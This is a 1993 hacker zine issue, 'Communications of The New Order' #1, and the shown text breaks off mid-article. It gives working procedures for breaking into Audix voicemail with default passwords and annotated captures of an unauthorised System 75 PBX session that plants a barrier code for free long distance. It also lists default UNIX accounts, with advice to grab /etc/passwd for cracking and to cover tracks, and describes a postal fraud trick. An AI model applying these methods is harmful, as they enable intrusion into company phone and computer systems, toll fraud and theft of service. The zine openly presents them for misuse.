home *** CD-ROM | disk | FTP | other *** search
/ Group 42-Sells Out! - The Information Archive / Group 42 Sells Out (Group 42) (1996).iso / zines / cotno / cotno01.txt next >
Text File  |  1995-11-30  |  71KB  |  1,445 lines

  1.        ______         ______     ____________       ____      ___     ______
  2.       /  ____|\      /      \   |____    ____|\    /   | \  /   / |  /      \
  3.     /  /  ____\|   /   __    |\  \_/   /|_____\| /     |  /   /  / /   __    |\
  4.   /  /  /        /   /__/   /  | /   /  /      /   /|  |/   /  / /   /__/   / |
  5. /  /__/______   |         /  / /   /  /      /   /  |     /  /  |         /  /
  6. |____________|\ |\_____ /  / /__ /  /      /___/  / |___/  /    |\_____ /  /
  7. |_____________\| \|____| /  |___| /       |___ |/   |___|/       \|____| /
  8.  
  9.                                    ____
  10.                                   /    \ --- 
  11.                                 /        \   \ __  
  12.                               /     /\     \   \  \   
  13.                            _/______|_/    /   /   / \  
  14.                           |          |  /   /   /  / 
  15.                           |    ---\( |/   /   /  / 
  16.                           |         \|\(/\(/ \(/    
  17.                           |                   |   
  18.                           /                  /
  19.                         /    \             /
  20.                       /         \     ___/
  21.                                      /  
  22.                                    /    
  23.                                  /      
  24.  
  25.                       Communications of The New Order
  26.                                  Issue #1
  27.                                Summer, 1993
  28.  
  29.                    "The best things in life are toll-free."
  30.                                                      AT&T
  31.  
  32.  
  33.              Editor......................................DeadKat
  34.              Cheerleader.................................Karb0n
  35.              Rebel without a pause.......................Panther Modern
  36.              Fund raiser.................................Cavalier
  37.              The K-radiest...............................Jewish Lightning
  38.              Flatline engineer...........................Nuklear Phusion
  39.              
  40.              Thanks to:  Phreddy!, god, Control-C (the new one), Nitro-187,
  41.              RDT (you guys rule), VirtualCon (NOT!), Lucifer and the Coders,
  42.              Disk Jockey, Visionary, Kamikaze, John Falcon, Cosmos, Pee Wee,
  43.              and all the negligent system administrators of the world...
  44.  
  45.  
  46.  
  47. <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>
  48.                           
  49.                           
  50.                           
  51.                           ___/\/INTRoDUCTIoN\/\___
  52.  
  53.  
  54. Welcome to CoTNo!  This publication is the prodigy of The New Order, Colorado's
  55. best hacking group.  We have created this 'zine to help teach what we have
  56. learned and discovered from our combined years of experience.  This is not
  57. intended to be an ultra-technical collection of barely useful information, but
  58. rather a forum for spreading current H/P/A knowledge and practices to the 
  59. newer members of the 'scene'.  You will not find mind-numbing overly technical
  60. reports here.  Nor will you be wasting your time and hard-drive by downloading
  61. useless articals on non-H/P/A topics like gambling and car theft.  All articals
  62. contained in CoTNo have useful applications in today's heavily computerized
  63. and automated society.  Some well experienced hackers may find these texts to
  64. be old hat, but we feel the scene has been dying because of a lack of basic
  65. hacking tutorials.  The goal of the writers of this publication and the 
  66. members of TNo is to educate and enlighten in order to recreate the booming
  67. scene of the 80's.
  68.  
  69. The New Order (TNo) are the main writers and supporters of this 'zine.  We
  70. are composed of hackers, phreakers, and "hairy-eyed anarchists" from the
  71. Colorado area. We recently recieved some minor publicity in a comment found
  72. in The Seed Magazine: Denver's Rag of Underground Culture.  The following is
  73. an exerpt from the June/July '93 issue:
  74.  
  75.      "Hackers - no longer a small underground phenomenon, these computer whiz-
  76.      kids have become a highly organized network of post-modern renegades.
  77.      With everything in our lives being computerised, today's hackers are able
  78.      to gain unbelievable access into just about everything.  They communicate
  79.      to each other via BBS (Bulletin Board System) and trade tips on everything
  80.      from music to ripping off the phone company.  The buzz around town is
  81.      about Flatline, a BBS run by the hacking crew, TNO."
  82.  
  83. Not exactly the front page of Time, but at least this was a POSITIVE statement
  84. by the media on the hacking phenomenon.
  85.  
  86. We accept submissions to CoTNo from anyone who has willingness to teach and
  87. can get on Flatline.  There will also be a CoTNo mailing address soon.  This
  88. mag' will be published on a quarterly basis.
  89.  
  90.  
  91. DISCLAIMER
  92. ~~~~~~~~~~
  93. This publication contains information pertaining to illegal acts.  The use
  94. of this information is intended solely for evil purposes.  The editors, 
  95. writers, and publishers of this publication take no responsibility for any
  96. legal acts committed using this information.  If you plan on using this 
  97. information for destructive purposes, read on.  Otherwise...FUCK OFF!
  98.  
  99.  
  100.  
  101.  
  102. TABLE OF CONTENTS
  103. ~~~~~~~~~~~~~~~~~
  104.  1.  CoTNo Introduction.......................................DeadKat
  105.  2.  How to Hack Audix VMB's..................................DeadKat
  106.  3.  System 75 Hacking (An Online Tutorial)...................Panther Modern
  107.  4.  UNiX Default List........................................TNO Hacking Crew
  108.  5.  HoW To MAiL FoR FREE.....................................Karb0n
  109.  6.  How to Red Box...........................................DeadKat
  110.  7.  Field Phreaking I........................................The Third Cartel
  111.  8.  Field Phreaking II.......................................The Third Cartel
  112.  9.  How to Make a ZAPPER GUN.................................Panther Modern
  113. 10.  Comments on Phrack 42....................................Karb0n
  114. 11.  CoTNo Conclusion.........................................DeadKat
  115.  
  116.  
  117.  
  118.  
  119.  
  120. <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>
  121.  
  122.  
  123.  
  124.                  (*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)\ 
  125.                  (*)                                 (*)\|   
  126.                  (*)            HOW TO HACK          (*)\|
  127.                  (*)               AUDIX             (*)\|
  128.                  (*)               VMB'S             (*)\|
  129.                  (*)                                 (*)\|
  130.                  (*)                By               (*)\|
  131.                  (*)            |>ead |<at           (*)\|
  132.                  (*)                                 (*)\|
  133.                  (*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)\|
  134.                   \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\|
  135.                    
  136.  
  137.  
  138. PREFACE
  139. -------
  140.  
  141.         A VMB, in case you don't know, stands for Voice Mail Box.  A VMB works
  142. like a multiuser answering machine.  A company will puchase a VMB so its 
  143. employees will be able to leave messages to each other.  Each employee will
  144. have a seperate box number assigned to him and be given a "default password"
  145. for his VMB.  The employee is then able to leave a greeting on his mail box
  146. and change the password.  Whenever someone calls him, they will get his VMB
  147. if he does not answer his line.  The caller can then leave a message to the
  148. employee.
  149.  
  150.         Hackers and Phreaks steal VMB's so they can contact each other and 
  151. spread information around.  You can give them to friends, you can trade them
  152. for access on boards, or keep them for yourself.  Some boxes even have the 
  153. ability to call out so you can use them for phreaking!
  154.  
  155.         The Audix or Audio Information Exchange system sold by AT&T is one of 
  156. the better VMB's on the market.  It has many message options, it is highly 
  157. configurable, and has many security options.  Lucky for us, it also has some 
  158. neat options that make it very easy to hack!
  159.  
  160.  
  161. SCANNING FOR AUDIX VMB'S
  162. ------------------------
  163.  
  164.         To find a VMB, you will have to scan.  Either pick a popular business
  165. exchange in your area code (like 669, 721, 220, etc.), or try the riskier 800 
  166. area code.  The 800 area code VMB's are better but Ma Bell's computers (ESS) 
  167. keep a list of any number that makes excessive calls to 800 numbers.  Do your
  168. scanning at night so you won't have to worry about reaching someone at their
  169. desk.  Start at 0000 and work your way to 9999 sequentially.  Write down any 
  170. interesting numbers you find.  If you get some kind of answering machine, mark
  171. it as a possible VMB.
  172.  
  173.         When your done scanning, recall each of the possible VMB's.  Some 
  174. Audix systems will answer with the greeting "Welcome to Audix..." while others
  175. will just begin with the employee's greeting.  Press *7 (the asterick then the
  176. seven).  You will here "Welcome to Audix..." if it is an Audix VMB.
  177.  
  178.  
  179. WHAT TO DO ONCE YOU FIND ONE
  180. ----------------------------
  181.  
  182.         Now that you have a list of Audix VMB numbers, call one of them and
  183. get yourself a box!  When you first reach a box, you are in record mode.  You
  184. have a number of options available to you in this mode:
  185.  
  186.                 KEY             ACTION
  187.                 ---             ------
  188.                 1               Begin recording.
  189.                 1               Stop recording.
  190.                 *#              Approve message.
  191.                 *1              Review message.
  192.                 *3              Delete message.
  193.                 2               Rewind message.
  194.                 3               Playback message.
  195.                 6               Advance message a few seconds.
  196.                 5               Replay the last few seconds.
  197.                 4               Turn volume up.
  198.                 7               Turn volume down.
  199.                 8               Slow down message.
  200.                 9               Speed up message.
  201.  
  202. You also have the following Audix master functions available to you:
  203.  
  204.                 KEY             FUNCTION
  205.                 ---             --------
  206.                 *R              To retrieve a box.
  207.                 *H              To get help at any time.
  208.                 *T              To transfer to another box.
  209.                 *W              To have the system wait.
  210.                 **N             To access the directory.
  211.  
  212.  
  213.         To get your own box, you must first find some empty boxes.  While you
  214. are in record mode, press *T.  The system will tell you to enter either a 
  215. three or four number digit number extension and the pound sign.  Remember
  216. how many digits the box numbers are.  Now press **N. This will take you to the 
  217. directory.  Press *A to look up boxes by their extension.  Start scanning for
  218. boxes sequentially.  Start at either the highest number or lowest number (999
  219. or 000) and work your way to the other end.  To scan a box number, enter the
  220. box number and press the pound sign.  You will hear one of three responses:
  221.  
  222.         1.  The name of the box owner.
  223.         2.  "Box number XXX is not a valid box".
  224.         3.  "Box number XXX".
  225.  
  226. If you hear either response one or response two, go on to the next box.  If 
  227. you hear response 3, BINGO!  You just found an empty box so write it down and
  228. move on to the next box.  After you are finished scanning, press *#.
  229.  
  230.  
  231. HOW TO BREAK INTO AN EMPTY BOX
  232. ------------------------------
  233.  
  234.         While in record mode, press *R.  You will here a message like "Welcome
  235. to the Audix Activity Menu..."  Enter one of the empty box numbers you found
  236. and press the #.  It will now tell you to enter your password and press the #.
  237. The password will be a three or four digit combination of numbers. The default 
  238. password is usually something obvious so try some of the following:
  239.  
  240.                    PASSWORD            NOTE
  241.                    --------            ----
  242.                    Box Number          This is the most common 
  243.                    No password         Just press pound, also common
  244.                    1234                \
  245.                    9999                  > Occasionally
  246.                    1111                /
  247.  
  248. Once you figure out the default password for one empty box, you can access all
  249. the boxes you found during your scan by using the default.
  250.  
  251.  
  252. WHAT TO DO ONCE YOU'RE IN
  253. -------------------------
  254.  
  255.         You will know when you have broken into a box when you hear a message
  256. like "Extension XXX, you have no new messages."  You can now set up your 
  257. personal box.  The following is a list of the functions available to you:
  258.  
  259.                 KEY             FUNCTION
  260.                 ---             --------
  261.                  1              Create a message.
  262.                  2              Retrieve messages left for you.
  263.                  3              Change your greeting.
  264.                  4              Check out messages left by you.              
  265.                  5              Change password.
  266.                  6              Change call notification information.
  267.                 **R             Relog into your box.
  268.                 **N             Enter the directory.
  269.  
  270. The first thing you should do is change your password!  You don't want 
  271. anybody to hack YOUR box.
  272.  
  273.  
  274. ADVANCED AUDIX
  275. --------------
  276.  
  277.         Sometimes you will find boxes that have no name, but don't have a 
  278. default.  Transfer to the box and check it out.  It might be a carrier.
  279. Audix's are usually found on System 75/85 PBX's which can be accessed via
  280. modem.  Call it with your modem and if you get a prompt that looks like 
  281. Logon: you have scored big.  A tutorial on hacking System 75/85's can be
  282. found elswhere in this 'zine.
  283.  
  284. If you transfer to the box and you hear a quick beep without hearing any type
  285. of greeting, you have found a bridge.  Have a friend call the system and
  286. transfer to the same box after you have and see if you can talk to each 
  287. other.  All System 75/85's have the capability to bridge extensions but this
  288. option is rarely used.  If you find a bridge, only call it late at night so
  289. you don't stumble into valid conference.
  290.  
  291.                                         
  292. CONCLUSION
  293. ----------
  294.  
  295.         You should be a master at hacking Audix VMB's now.  You can use many 
  296. similar techniques on other brands of VMB's too.  Be conservative with your
  297. boxes.  The more boxes you snag from one company, the more likely they will
  298. notice you and shut you out.  If you do end up with 500 boxes, use them to 
  299. trade with.  You can get better access on boards, money, or equipment for 
  300. them.  Have Phun!
  301. __________________________________________________________________________
  302. (C)opywrong 1993, DeadKat Inc.
  303. All wrongs denied.
  304.  
  305.  
  306. <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>                     
  307.  
  308.  
  309.  
  310.  
  311.                           /\/System 75 hacking\/\
  312.                           /\/An online tutorial\/\
  313.       -=Captured from a very generous company located in Denver=-
  314.            -=My thanks go out to them for use of their PBX=-
  315.                   --Intro by Panther Modern TNO/TBF--
  316.           --Hacking of the system by Panther Modern TNO/TBF--
  317.                 --Editing and revising from |>ead|<at--
  318.   >Special thanks to Dead Kat for teaching me how to do this stuff..<
  319.  
  320.   
  321. INTRO
  322. ~~~~~
  323.   System 75/85's..The gateway to the world of the PBX...If one can hack these 
  324. machines, one has the ability to generate many codes for himself, and his 
  325. fellow phreakers/hackers to use and enjoy.  Hacking these machines can be 
  326. very fun, but if one does not know what he's doing, it could be frustrating 
  327. and potentially risky. That's why I am writing this text.  This file includes 
  328. captures from two hacks I did.  In the first hack, I will show you how I went 
  329. thru, saw that the company did not have a PBX, and made my own for my own 
  330. personal gateway to free LD.  In the second hack you will see how I simply 
  331. looked, saw the PBX, and quickly found the correct trunk, changing nothing.  
  332.   
  333.   Version 2 is definately the better way to hack a system.  If you change 
  334. things, it will show up on the system log.  Along comes a system 
  335. administrator to read the log, and yer busted.  But if you don't change 
  336. anything, no one will ever know you were there...Of course, many times, it 
  337. becomes nescessary to change things, if the company dosn't already have a PBX 
  338. installed...You must make your own.  For ease of reading, I have gone thru 
  339. and edited/commented on everything I did in both hacks.  Hopefully I made 
  340. it easy to understand..Good luck hacking System 75!
  341.  
  342.                  
  343. CONVENTIONS USED IN THIS ARTICAL
  344. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  345. 1.  The command prompt is
  346.      enter command:
  347.  
  348. 2.  Resulting screens begin and end with dashes.                
  349.  
  350. 3.  Comments are inclosed by brackets. [ ]
  351.  
  352. 4.  Emulation is Bell 513.
  353.  
  354.  
  355. THE FIRST HACK
  356. ~~~~~~~~~~~~~~
  357. CARRIER 1200  
  358. [1200 baud is a good way to recognise a sys75]
  359.  
  360. KEYBOARD LOCKED, WAIT FOR LOGIN
  361. Login: XXXXX
  362. Password: XXXXXXX
  363. [I don't want to include any passwords in this file]
  364. Terminal Type (513, 4410, 4425): [513]
  365. [513 is a default bell prefix.  It is about the same as VT100]
  366.  
  367.  
  368. ___________________________________________________________________________
  369.                         
  370.                         
  371.                         
  372.                         Copyright (c) 1986 - AT&T
  373.                    Unpublished & Not for Publication
  374.                           All Rights Reserved
  375.  
  376.  
  377.  
  378. ___________________________________________________________________________
  379. [I like this screen...<G>]
  380.  
  381.  
  382.  enter command: display rem<<
  383. [All you really need is DIS, not display.  Try DIS HELP, also, LIST HELP]
  384. ____________________________________________________________________________
  385. display remote-access                                           Page  1 of  1
  386.                                 REMOTE ACCESS
  387.                
  388.                
  389.                Remote Access Extension:
  390.                    Barrier Code Length: 4
  391. BARRIER CODE ASSIGNMENTS (Enter up to 10)
  392.         
  393.         Barrier Code    COR                    Barrier Code    COR
  394.      1:                 1                    6:                 1
  395.      2:                 1                    7:                 1
  396.      3:                 1                    8:                 1
  397.      4:                 1                    9:                 1
  398.      5:                 1                    10:                1
  399.  
  400.  
  401. ____________________________________________________________________________
  402. [As you can see, no remote access ports are set up.  No PBX, and no codes.
  403. Code length is four digits.]
  404.  
  405.  
  406.  enter command: dis trunk 1
  407. [we will now look at all 99 trunks, to find the rite one to use..]
  408. _____________________________________________________________________________
  409.  
  410. display trunk-group 1                                           Page  1 of  5
  411.                                 TRUNK GROUP
  412.  
  413. Group Number: 1                    Group Type: co            SMDR Reports? y
  414.   Group Name: main pool                   COR: 1                      TAC: 76
  415.    Direction: two-way        Outgoing Display? n         Data Restriction? n
  416.  Dial Access? y                Busy Threshold: 60           Night Service:
  417. Queue Length: 0                                      Incoming Destination: 200
  418.    Comm Type: voice                                 Digit Absorption List:
  419.     Prefix-1? n                   Restriction: toll    Allowed Calls List? n
  420.  
  421. TRUNK PARAMETERS
  422.             Trunk Type: loop-start
  423.     Outgoing Dial Type: tone
  424.      Trunk Termination: rc                    Disconnect Timing(msec): 500
  425.         ACA Assignment? n
  426.                                                     Maintenance Tests? y
  427.  Answer Supervision Timeout:                    Suppress # Outpulsing? n
  428. _____________________________________________________________________________
  429. [First we look at night service, and incoming destination, recording the
  430. numbers to hardcopy.  We also note the trunk type, and COR number]
  431.  
  432.  
  433. [We type <ESC>[U to get to the next page of text.]
  434. _____________________________________________________________________________
  435. display trunk-group 1                                             Page  2 of  5
  436.                                  
  437.                                  TRUNK GROUP 
  438.  
  439. GROUP MEMBER ASSIGNMENTS
  440.                  
  441.                  Port      Name         Mode         Type    Answer Delay
  442.               1: A0301    xxxxxxx
  443.               2: A0302    xxxxxxx
  444.               3: A0303    xxxxxxx
  445.               4: A0304    xxxxxxx
  446.               5: A0305    xxxxxxx
  447.               6: A0306    xxxxxxx
  448.               7: A0307    xxxxxxx
  449.               8: A0308    xxxxxxx
  450.               9: A0401    xxxxxxx
  451.              10: A0402    xxxxxxx
  452.              11: A0403    xxxxxxx
  453.              12: A0404    xxxxxxx
  454.              13: A0405    xxxxxxx
  455.              14: A0406    xxxxxxx
  456.              15: A0407    xxxxxxx
  457. ____________________________________________________________________________
  458. [Where name is, there will be fone numbers.  Record these so you will know
  459. what number to dial in to while hacking.  I have removed the numbers for
  460. security reasons.]
  461. [Same process was done on the remaining trunks.  Always scan all 99, even
  462. if you stop finding some.  There may be a good one...]
  463. [If the trunk has both a night extension and a phone number listed on page
  464. 2, make a note of it.  Use the command dis cor to see the the trunks
  465. restrictions.  FRL should equal 7.  If not, change it to 7 or find another
  466. trunk.]
  467. [BTW - When done looking thru pages, type <ESC>Ow to return to prompt]
  468. [What we found was a trunk which looked as if it was fairly unimportant.
  469. Also, it didn't have a night extension.  This is important, because we want
  470. to set up an after-hours PBX.  If we take over a daytime extension, the PBX
  471. would most likely go down within 24 hours.]
  472. [If, under the name column, there are strange numbers, like AT204, just 
  473. disregard them, and go on to the next trunk, these are internal extension
  474. numbers.]
  475.  
  476.  
  477.  enter command: dis dial<<
  478. [This displays the dial plan for the system.  It will show you which digit
  479. to start your remote extension (shown later) with.  Use a digit that says
  480. EXTENSION.  As you can see, that digit here is 2.]
  481. ____________________________________________________________________________
  482. display dialplan                                                  Page  1 of  1
  483.                                
  484.                                
  485.                                DIAL PLAN RECORD
  486.                              Area Code: XXX
  487.                  ARS Prefix 1 Required? y
  488.                   Uniform Dialing Plan? n
  489.  
  490. FIRST DIGIT TABLE
  491. Digit  Identification   Number of       Digit  Identification   Number of
  492.                         Digits                                  Digits
  493.     1: fac                3               7: tac                  2
  494.     2: extension          3               8: tac                  1
  495.     3:                    0               9: fac                  1
  496.     4:                    0               0: attendant            1
  497.     5:                    0               *: fac                  2
  498.     6: tac                2               #: fac                  2
  499.  
  500. _____________________________________________________________________________ 
  501.  
  502.  
  503.  enter command: dis allow
  504. [This will display the allowed calls/area codes.  If your PBX does not work
  505. later on, check here, and try to add the correct area code you want to call]
  506.  
  507. ___________________________________________________________________________
  508. display allowed-calls                                             Page  1 of  1
  509.                    
  510.                    ALLOWED CALLS LIST (FOR TOLL RESTRICTION)
  511. AREA/LONG DISTANCE CARRIER CODES ( Enter up to 10 )
  512.          
  513.          1: 800                         6:
  514.          2: 911                         7:
  515.          3: 950                         8:
  516.          4:                             9:
  517.          5:                            10:
  518.  
  519.  
  520. ____________________________________________________________________________
  521. [This system can call 800's, 950's, 911, as well as long distance numbers.]
  522.  
  523.  
  524.  enter command: list help
  525. ____________________________________________________________________________
  526. Please enter one of the following object command words:
  527.  
  528. abbreviated-dialing      groups-of-extension      personal-CO-line
  529. aca-parameters           hunt-group               pickup-group
  530. bridged-extensions       intercom-group           station
  531. configuration            measurements             term-ext-group
  532. coverage                 modem-pool               trunk-group
  533. data-module              performance
  534. Or press CANCEL to cancel the command
  535.   Object command word omitted; please press HELP
  536.  
  537.  
  538. ____________________________________________________________________________
  539. [List is similar to DIS, except that none of it's factors can be changed.]
  540.  
  541.  
  542.  enter command: list groups-of-extension 200
  543. [We are attempting to find an empty extension to set up the remote on.  Find
  544. an extention that is not being used and write it down.  The screens have been
  545. omitted for brevity's sake.]
  546. [We will now set up a remote extension.]
  547.  
  548.  enter command: list group 299<
  549.  
  550. list groups-of-extension 299
  551.   Extension not assigned
  552. [We first found an empty extension]
  553.  
  554.  enter command: ch rem<
  555. [we proceeded to add it to the remote access.  I will put {'s around what
  556. we added.]
  557. ____________________________________________________________________________
  558. change remote-access                                              Page  1 of  1
  559.                                 
  560.                                 REMOTE ACCESS
  561.  
  562.                Remote Access Extension: {299}
  563.                    Barrier Code Length: 4
  564. BARRIER CODE ASSIGNMENTS (Enter up to 10)
  565.         
  566.         Barrier Code    COR                    Barrier Code    COR
  567.      1: {3323}          1                    6:                 1
  568.      2:                 1                    7:                 1
  569.      3:                 1                    8:                 1
  570.      4:                 1                    9:                 1
  571.      5:                 1                   10:                 1
  572.   
  573.   Command successfully completed
  574. _____________________________________________________________________________
  575. [We added in our code, and our remote access extension, and then save
  576. by typing <ESC>SB ]  
  577. [We added our extension, and our code (barrier code)] 
  578.  
  579.  
  580.  enter command: dis trunk 9<<
  581. [We looked back on our hardcopy notes, and decided that trunk 9 would be 
  582. appropriate to add our code to.  We re-display just to make sure]
  583. ____________________________________________________________________________
  584. display trunk-group 9                                             Page  1 of  5
  585.                                 
  586.                                 TRUNK GROUP
  587.  
  588. Group Number: 9                    Group Type: co            SMDR Reports? y
  589.   Group Name: fax wild line               COR: 1                      TAC: 79
  590.    Direction: two-way        Outgoing Display? n         Data Restriction? n
  591.  Dial Access? y                Busy Threshold: 60           Night Service:
  592. Queue Length: 0                                      Incoming Destination: 267
  593.    Comm Type: voice                                 Digit Absorption List:
  594.     Prefix-1? n                   Restriction: code
  595.  
  596. TRUNK PARAMETERS
  597.             Trunk Type: loop-start
  598.     Outgoing Dial Type: tone
  599.      Trunk Termination: rc                    Disconnect Timing(msec): 500
  600.         ACA Assignment? n
  601.                                                     Maintenance Tests? y
  602.  Answer Supervision Timeout:                    Suppress # Outpulsing? <
  603. display trunk-group 9
  604.   Command aborted
  605. ____________________________________________________________________________
  606.  
  607.  
  608.  enter command: ch trunk 9
  609. [Once again, changes I made will be in {'s]
  610. ____________________________________________________________________________
  611. change trunk-group 9                                              Page  1 of  5
  612.  
  613.                                 TRUNK GROUP
  614.  
  615. Group Number: 9                    Group Type: co            SMDR Reports? y
  616.   Group Name: fax wild line               COR: 1                      TAC: 79
  617.    Direction: two-way        Outgoing Display? n         Data Restriction? n
  618.  Dial Access? y                Busy Threshold: 60           Night Service: {299}
  619. Queue Length: 0                                      Incoming Destination: 267
  620.    Comm Type: voice                                 Digit Absorption List:
  621.     Prefix-1? n                   Restriction: code
  622.  
  623. TRUNK PARAMETERS
  624.             Trunk Type: loop-start
  625.     Outgoing Dial Type: tone
  626.      Trunk Termination: rc                    Disconnect Timing(msec): 500
  627.         ACA Assignment? n
  628.                                                     Maintenance Tests? y
  629.  Answer Supervision Timeout:                    Suppress # Outpulsing? n
  630.   Command successfully completed
  631. ____________________________________________________________________________
  632. [All we had to do was add our remote extension to Night Service]
  633. [..And save it with <ESC>SB ]
  634. [You should now have a ready-to-use PBX!!!!!!  Check page 2, that's yer after 
  635. hours dial in number.]
  636.  
  637.  
  638.  enter command: dis trunk 9
  639. [We check again to make sure our changes came thru correctly]
  640. ____________________________________________________________________________
  641. display trunk-group 9                                             Page  1 of  5
  642.                                 
  643.                                 TRUNK GROUP
  644.  
  645. Group Number: 9                    Group Type: co            SMDR Reports? y
  646.   Group Name: fax wild line               COR: 1                      TAC: 79
  647.    Direction: two-way        Outgoing Display? n         Data Restriction? n
  648.  Dial Access? y                Busy Threshold: 60           Night Service: 299
  649. Queue Length: 0                                      Incoming Destination: 267
  650.    Comm Type: voice                                 Digit Absorption List:
  651.     Prefix-1? n                   Restriction: code
  652.  
  653. TRUNK PARAMETERS
  654.             Trunk Type: loop-start
  655.     Outgoing Dial Type: tone
  656.      Trunk Termination: rc                    Disconnect Timing(msec): 500
  657.         ACA Assignment? n
  658.                                                     Maintenance Tests? y
  659.  Answer Supervision Timeout:                    Suppress # Outpulsing? <
  660. display trunk-group 9
  661.   Command aborted
  662. ____________________________________________________________________________
  663. [everything's great!]
  664.  
  665.  enter command: logoff
  666. [Sooooooooo.....We logoff...]
  667. [To use yer PBX, just dial in, and type:
  668.   <YER CODE>+9+1+ACN!!
  669.   Or to set up an alliance, replace the 1 with a 0...]
  670.  
  671.  
  672. THE SECOND HACK
  673. ~~~~~~~~~~~~~~~
  674. [I started this capture a little late, after I had already looked through
  675. a few things.  It still gets the point across, tho.  It displays going
  676. thru, and not changing ANYTHING!]
  677.  
  678.  
  679.  enter command: dis rem
  680. [I look at the remote...]
  681. ____________________________________________________________________________
  682. display remote-access                                             Page  1 of  1
  683.  
  684.                                 REMOTE ACCESS
  685.                
  686.                Remote Access Extension: 599
  687.                    Barrier Code Length: 5
  688.            Authorization Code Required? n
  689.  
  690. BARRIER CODE ASSIGNMENTS (Enter up to 10)
  691.         Barrier Code    COR COS                Barrier Code    COR COS
  692.      1: 52290           1   1                6:                 1   1
  693.      2: 11111           1   1                7:                 1   1
  694.      3:                 1   1                8:                 1   1
  695.      4:                 1   1                9:                 1   1
  696.      5:                 1   1               10:                 1   1
  697.  
  698. ____________________________________________________________________________
  699. [I see that there are 2 codes and an extension already set up.  I am wary 
  700. of code number 2..It could be a trap code]
  701.  
  702.  
  703.  enter command: dis trunk 7
  704. ____________________________________________________________________________
  705. display trunk-group 7                                             Page  1 of  9
  706.  
  707.                                 TRUNK GROUP
  708.  
  709. Group Number: 7                   Group Type: co            SMDR Reports? y
  710.   Group Name: REMOTE ACCESS              COR: 63                     TAC: 707
  711.    Direction: two-way       Outgoing Display? n
  712.  Dial Access? y               Busy Threshold: 10           Night Service: 599
  713. Queue Length: 0                                     Incoming Destination: 0
  714.    Comm Type: voice                Auth Code? n    Digit Absorption List:
  715.     Prefix-1? n                  Restriction: code
  716.                                  Trunk Flash? n
  717. TRUNK PARAMETERS
  718.             Trunk Type: ground-start
  719.     Outgoing Dial Type: tone
  720.      Trunk Termination: rc                    Disconnect Timing(msec): 500
  721.      Terminal Balanced? n                               RA Trunk Loss: 0db
  722.  Answer Supervision Timeout: 10            Receive Answer Supervision? <
  723. display trunk-group 7
  724.   Command aborted
  725. ____________________________________________________________________________
  726. [I see that trunk 7 already has the extension ready to use!!!!!!!!]
  727. [FREE LD and no changes!  They will not know I was ever there!!!]
  728. [I look at page's 2 and 3 for the fone numbers to dial in to, and then
  729. I'm OUTTA THERE!!!]
  730.  
  731.  enter command: logoff
  732.  
  733.     --I hope these captures helped..
  734.               --Panther Modern TNO/TBF
  735.  
  736.  
  737. <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>
  738.  
  739.  
  740.  
  741.  
  742.                     /~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\
  743.                    *|     The TNO Hacking Crew Presents   |*
  744.                    *|                                     |*
  745.                    *|            UNiX Defaults            |*
  746.                     \                                     /
  747.                      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  748.  
  749.  
  750. INTRO
  751. ~~~~~
  752. This a list compiled by the members of The New Order from frequent visits to
  753. UNiX hosts.  These are default accounts/passwords observed in hosts running
  754. UNiX variations including System V, BSD, Xenix, and AiX.  These defaults are
  755. included in standard setup on various machines so the Sysadmin can log on
  756. for the first time.  Often the negligent Sysadmin forgets to delete or pass-
  757. word the accounts.  This makes UNiX machines extremely easy to infiltrate.
  758. This artical does not go into specifics of hacking but it is highly
  759. suggested that you immediately copy the /etc/passwd file (/etc/security/
  760. passwd in AiX machines!) so you can later run a dictionary hacker and get
  761. some other accounts and insure your access.  This is list of default
  762. accounts which are often unpassworded.  If the system asks for a password,
  763. try the account name which sometimes works.
  764.  
  765.  
  766. DEFAULTS
  767. ~~~~~~~~
  768. root                         bin                     adm
  769. makefsys                     sysadm                  sys
  770. mountfsys                    rje                     sync
  771. umountfsys                   tty                     nobody
  772. checkfsys                    somebody                setup
  773. lp                           powerdown               ingres
  774. dptp                         general                 guest
  775. daemon                       gsa                     user
  776. trouble                      games                   help
  777. nuucp                        public                  unix
  778. uucp                         test                    admin
  779. student                      standard                pub
  780. field                        demo                    batch
  781. visitor                      listen                  network
  782. uuhelp                       usenet                  sysinfo
  783. cron                         console                 sysbin
  784. who                          root2                   startup
  785. shutdown                     ncrm                    new
  786.  
  787.  
  788. CONCLUSION
  789. ~~~~~~~~~~
  790. Have phun but be careful!  Learn what to do before you run out and invade
  791. some systems.  These won't do you any good if you can't hide your tracks.
  792. Hacking is all about learning about cool stuff, but you can't hack until 
  793. you learn how.  Njoy.
  794.  
  795.  
  796. <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>
  797.  
  798.  
  799.  
  800.                             HoW To MAiL FoR FREE
  801.                                  BY KARB0N
  802.                                   -=TNO=-
  803.  
  804.  
  805.         Postal chislers used to mail letters unstamped in the knowledge 
  806. that they would be delivered anyway... with "Postage Due"to the recipient.
  807. It took a stingy person to mail personal letters this way, but many people 
  808. did send mail this way on bill payments. So the Post Office changed it's 
  809. policy. It stopped delivering letters without stamps. But a letter with a
  810. stamp.. even a one cent stamp...is delivered postage due if need be. A letter
  811. with no stamp is returned to the sender.
  812.  
  813.         Naturally, this has just opened up a new way pf cheating. Letters can
  814. now be mailed for free by switching the positions of the delivery address and
  815. the return address. If there is no stamp on the envelope, it will be Returned
  816. to the address in the upper left corner.. which is where you want it to go in
  817. the first place. Unlike the old system, the letter is not postage-due. At
  818. most the recipient gets a stamped purple reminder that "The Post Office does
  819. not deliver mail without postage."
  820.  
  821.         At least one large company seems to have adapted this principle to 
